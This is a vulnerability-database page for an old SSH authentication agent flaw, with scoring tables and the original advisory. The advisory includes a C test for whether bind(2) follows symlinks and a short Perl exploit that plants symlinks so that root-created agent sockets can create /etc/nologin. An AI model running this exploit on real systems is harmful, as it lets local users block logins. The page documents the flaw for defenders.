CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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The SSH authentication agent follows symlinks via a UNIX domain socket.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
2.1
AV:L/AC:L/Au:N/C:N/I:P/A:N
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.96%
–
–
2022-03-13
–
–
1.96%
–
–
2022-04-03
–
–
1.96%
–
–
2022-07-31
–
–
1.96%
–
–
2023-02-26
–
–
1.96%
–
–
2023-03-12
–
–
–
0.06%
–
2023-11-19
–
–
–
0.06%
–
2023-11-26
–
–
–
0.06%
–
2024-02-11
–
–
–
0.05%
–
2024-03-24
–
–
–
0.05%
–
2024-06-02
–
–
–
0.05%
–
2024-07-21
–
–
–
0.05%
–
2024-11-24
–
–
–
0.05%
–
2025-01-19
–
–
–
0.05%
–
2025-01-19
–
–
–
0.05%
–
2025-03-18
–
–
–
–
0.61%
2025-03-30
–
–
–
–
0.61%
2025-04-06
–
–
–
–
0.61%
2025-04-15
–
–
–
–
0.61%
2025-04-15
–
–
–
–
0.61,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
source: https://www.securityfocus.com/bid/660/info
A vulnerability in SSH's creation of the authentication agent UNIX domain socket allows local users to create a UNIX domain socket with an arbitrary file name in the system.
SSH has the concept of authentication proxying via the SSH authentication agent. It allows for a basic kind of Single Sign-On capability. The sshd daemon, ssh and ssh-agent communicate via a UNIX domain socket normally of the form '/tmp/ssh-<username>/agent-socket-<pid>'.
SSH follows symbolic links while creating the socket as root thus allowing any local users with ssh access to create a socket with an arbitrary filename in the system.
Notice that this will not work under all operating systems. Some operating systems do not follow symbolic links during bind(2) on UNIX domain sockets. Linux 2.0.x, Solaris 2.5.1 and IRIX 6.5.2 do not follow symbolic links during bind(2). Linux 2.1.x does.
You can use the following program by Dan Astoorian <djast@cs.toronto.edu> to test whether your system does or does not follow symbolic links during bind(2):
#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#define FPATH "./bindlinktest"
#define LPATH "./bindlinktest0"
int main(int argc, char **argv) {
int fd;
struct sockaddr_un sunaddr;
fd = socket(AF_UNIX, SOCK_STREAM, 0);
if (fd < 0) { perror("socket");exit(1); };
unlink(FPATH);
if (symlink(FPATH, LPATH) < 0) {
perror("symlink");exit(1);
}
memset(&sunaddr, 0, sizeof(sunaddr));
sunaddr.sun_family = AF_UNIX;
strncpy(sunaddr.sun_path, LPATH, sizeof(sunaddr.sun_path));
if (bind(fd, (struct sockaddr *)&sunaddr, sizeof(sunaddr)) < 0) {
if (errno == EADDRINUSE) {
printf("bind() returned EADDRINUSE; this system appears to be okay.\n");
} else {
perror("bind");
}
} else {
printf("bind() succeeded; this system appears to be vulnerable.\n");
}
close(fd)
unlink(FPATH);
unlink(LPATH);
exit(0);
}
#!/usr/bin/perl
$pid = $$;
$whoami = `whoami`;
chop($whoami);
mkdir("/tmp/ssh-$whoami", 0700);
for ($i = $pid; $i < $pid+50; $i++)
{
symlink("/etc/nologin", "/tmp/ssh-$whoami/ssh-$i-agent");
}